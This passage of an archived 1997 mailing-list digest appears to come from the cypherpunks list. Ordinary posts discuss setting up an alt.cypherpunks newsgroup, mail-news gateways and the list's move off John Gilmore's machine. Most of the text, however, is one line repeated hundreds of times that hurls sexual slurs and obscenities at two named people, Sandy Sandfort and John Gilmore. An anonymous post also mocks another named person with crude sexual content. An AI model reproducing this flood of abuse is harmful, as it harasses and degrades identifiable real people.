cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From nobody at wazoo.com Wed Feb 12 12:48:48 1997 From: nobody at wazoo.com (Anonymous) Date: Wed, 12 Feb 1997 12:48:48 -0800 (PST) Subject: Info please! Message-ID: <199702122048.NAA05900@earth.wazoo.com> Dimmy Vagina K Of The Minute is so in love with himself, he cries out his own name when orgasming. Then again, no one else is ever around. _<_ (_|_( Dimmy Vagina K Of The Minute \-._|_,-, `-----' From ichudov at algebra.com Wed Feb 12 12:55:18 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 12:55:18 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <199702122049.OAA07350@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > "Timothy C. May" writes: > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > >If the people decide for creation of a new USENET newsgroup, > > >we need to think very hard about actually moving it to a different > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > > > >A comp.* or sci.* newsgroup, if created, has the following advantages > > >over an alt.* newsgroup: > > > > > >1) There is usually less spam in sci.* or comp.* > > >2) There are virtually no completely irrelevant flamewars > > >3) The propagation will be a lot better > > >4) More people will be able to read it because of the issue of providers > > > not carrying alt.*. > > > > > >I see nothing that would make a sci.* or comp.* newsgroup worse than > > >alt.* newsgroup. > > > > Sure, and this has come up in every past discussion of creating > > "alt.cypherpunks." > > > > But the creation of alt.cypherpunks is _easy_, and needs little permission > > or support, whereas the creation of "soc.culture.cypherpunks" or whatever > > takes work, requires a vote, blah blah blah. And so it never gets off the > > ground. > > > > (Nor is it clear to me, and perhaps not to others, that it belongs in the > > the various places Igor mentioned. Comp.org.cypherpunks probably is the > > best fit, but then many would cite the "comp" part to try to insist that > > only _computer_ topics be discussed. Likewise, the "soc" domain would skew > > discussion...etc. "Alt" has the nice advantage of explicitly not be part of > > sci, or comp, or soc, or even talk.) > > > (I apologize to everyone whose e-mail has gone unanswered this week - I've > had a bunch of other stuff to do, but I'll get to it eventually. Also, > I posted > the Anshel+Goldfield zeta function paten number - do check it out.) > > Random thoughts: > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of > corprate news servers that don't carry alt.* (or even soc.*). Note that > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) > Another possibility is sci.crypto.cypherpunks. (True, people whose corporate > newsservers don't carry soc.* and talk.* can use dejanews - provided their > firewall lets them.) > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. > It takes a vote. I'm willing to be one of the proponents and generally help > with the process. (Both I and Igor have been co-proponents of major Usenet > newsgroups - don't know about other people onthis list. :-) Not only it takes a vote. What is more important is what a vote gives: a good discussion of the newsgroup and the formal RFD/RFD/CFV process ensures that, on average, a good balance is found between various groups of readers. I am not concerned as to what the name of the group will be, it is not important. What is important is that it should be in a more or less flame-free zone. It is too late to stop alt.cypherpunks, but if I had to make a prediction again, I would predict that soon posters will BEG to help them create comp.*.cypherpunks, because of spam and alt.flamage. > 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing > list. I've been thinking of how to deal with crap, and with the obvious desire > by some people to delegate their decision what to read and what not to read > to other people. It is alt.* and soc.* that has most crap, sci and comp are way better. > Most people don't have nocem-enabled newareaders yet... Which is where the > network of cypherpunks majordomos Igor's been busy creating comes in very > handy. > It is a very good idea to let NoCeM issuers and filterers work independently from list nodes. - Igor. From ac at twinds.com Wed Feb 12 12:56:38 1997 From: ac at twinds.com (Arley Carter) Date: Wed, 12 Feb 1997 12:56:38 -0800 (PST) Subject: alt.cypherpunks lives! was Re: New group Message-ID: <199702122056.MAA04548@toad.com> On Wed, 12 Feb 1997, Robert A. Hettinga wrote: > It seems this alt.cypherpunks thing was a lot easier than it looks. > > Either that, or I have a clueful newsadmin. :-) > The only clueful newsadmins are ex-newsadmins. :-) Cheers: -arc Arley Carter Tradewinds Technologies, Inc. Winston-Salem, NC USA email: ac at twinds.com www: http://www.twinds.com From jya at pipeline.com Wed Feb 12 12:56:38 1997 From: jya at pipeline.com (John Young) Date: Wed, 12 Feb 1997 12:56:38 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <199702122056.MAA04550@toad.com> On the Ft. Meade addresses for two of the cpunk domains, was there not a humorous explanation for this posted a couple of years back? Dimly remembered: there's a town of Ft. Meade as well as The Mad Fort itself, or something like that, and that a mail drop would be handy for swapping useless bits of bs-buffer overflow. If this is now classified, hit D, Degausse and deodorize your Farradage! From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 12:56:45 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 12:56:45 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702122056.MAA04561@toad.com> From: IN%"shamrock at netcom.com" "Lucky Green" 12-FEB-1997 04:22:39.31 >Everybody with a web browser has access to alt newsgroups via >http://www.dejanews.com/ A: not all alt newsgroups B: not in an anonymous fashion (the anonymizer blocks from requesting files from dejanews) As someone not currently on USENET, I'd request that _somebody_ put up a bi-directional gateway; I'll put in a request to list-managers at greatcircle.com for advice & suggestions, and will suggest that it get cc'd to cypherpunks at toad.com. -Allen From paul at fatmans.demon.co.uk Wed Feb 12 12:56:56 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:56:56 -0800 (PST) Subject: alt.cypherpunks is born. Message-ID: <199702122056.MAA04581@toad.com> Hi all, I crossposted the first post to the usenet group to here but just to make sure you all get the message I have created alt.cypherpunks. Even if it is only a temporary measure it will be a forum from which we can establish something better. Fuck you John, we should have done this a long time ago. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jmb at frb.gov Wed Feb 12 12:57:03 1997 From: jmb at frb.gov (Jonathan M. Bresler) Date: Wed, 12 Feb 1997 12:57:03 -0800 (PST) Subject: Need a good bi-directional mail-news gateway Message-ID: <199702122057.MAA04595@toad.com> > Hi. The cypherpunks list is going through some major rearrangements, >and it appears that we need a bi-directional mail-news gateway for the new >group alt.cypherpunks and for whatever list(s) come out of the clouds of dust. >(The list(s) in question may be done in a distributed fashion across many >different machines, to lessen volume (1000+ subscribers, 100+ messages a day), >crash vulnerablity, and other problems.) Anybody have experience in running >a _really_ high-volume mail-news gateway (or in running distributed lists)? >Please cc: any replies to cypherpunks at toad.com > Thanks, > -Allen your expected mail volume is 100,000+ messages a day? i run lists that do 200,000+ routinely. recent peak of 350,000 messages does that meet your needs? jmb From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 12:57:07 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 12:57:07 -0800 (PST) Subject: Need a good bi-directional mail-news gateway Message-ID: <199702122057.MAA04596@toad.com> Hi. The cypherpunks list is going through some major rearrangements, and it appears that we need a bi-directional mail-news gateway for the new group alt.cypherpunks and for whatever list(s) come out of the clouds of dust. (The list(s) in question may be done in a distributed fashion across many different machines, to lessen volume (1000+ subscribers, 100+ messages a day), crash vulnerablity, and other problems.) Anybody have experience in running a _really_ high-volume mail-news gateway (or in running distributed lists)? Please cc: any replies to cypherpunks at toad.com. Thanks, -Allen From roach_s at alph.swosu.edu Wed Feb 12 12:57:49 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 12 Feb 1997 12:57:49 -0800 (PST) Subject: Cypherpunks Mailing List Message-ID: <199702122057.MAA04638@toad.com> Mr. Gilmore I know that this list has become something of a dead albatross with you, but I was wondering if you would be willing to do the whole of us another favor. As you have stated that this list will no longer reside on your machine any longer. And as several people have put forward thier own machines upon which to host this forum in the future. And as there are people who, though not currently subscribed, know about the list and may wish to subscribe to the list in the future. Could you please maintain at least the semblence of a list on your machine. Not the actual list, but a pointer triggered by a post or majordomo request concerning cypherpunks. In this way, persons not currently subscribed but knowledgeable about the list can find it in the future. Such a system should be easy to set up, given that you probably already have autoresponder bots in your hard drive, and would be a great service. Would you please rig such a system after your deadline in place of the list to point to which ever system currently has the most alternate traffic? This would only need to be an interim measure as after a reasonably short length of time people would get the idea that the list has moved. Thank you for entertaining this request. From ravage at 